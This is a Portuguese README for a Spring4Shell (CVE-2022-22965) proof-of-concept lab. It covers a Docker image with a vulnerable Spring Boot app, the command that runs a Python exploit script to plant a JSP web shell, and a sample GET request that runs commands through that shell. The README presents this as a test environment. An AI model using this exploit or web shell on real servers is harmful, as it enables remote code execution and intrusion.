
Exploit de prova de conceito para CVE-2022-22965 (Spring4Shell) com uma aplicação Spring Boot vulnerável, script de exploit em Python e ambiente de laboratório baseado em Docker para testes.
Esta é uma prova de conceito de um exploit para a vulnerabilidade CVE-2022-22965 (spring4shell). Ela é composta por:
Dentro da pasta raiz do projeto existe um Dockerfile que cria uma imagem do Tomcat e copia os arquivos vulnerable_app/target/spring4shell.war e safe_app/target/safeapp.war para a pasta /usr/local/tomcat/webapps, então você só precisa construir a imagem e iniciar o contêiner.
docker build -t cve_2022_22965 .
docker run -p 8080:8080 -d --name springshell cve_2022_22965
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
Se você vir esta resposta
This is Elliot Alderson
Então a aplicação está no ar e funcionando.
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
Você pode, opcionalmente, especificar o nome do arquivo jsp injetado, mas isso não é obrigatório. Exemplo
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
Se você não especificar um nome, um nome aleatório será gerado.
Você verá o seguinte no shell de comando

Após o exploit, você também pode enviar um comando por meio de uma solicitação HTTP GET
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
Você abriu com sucesso um shell na máquina da vítima! aproveite!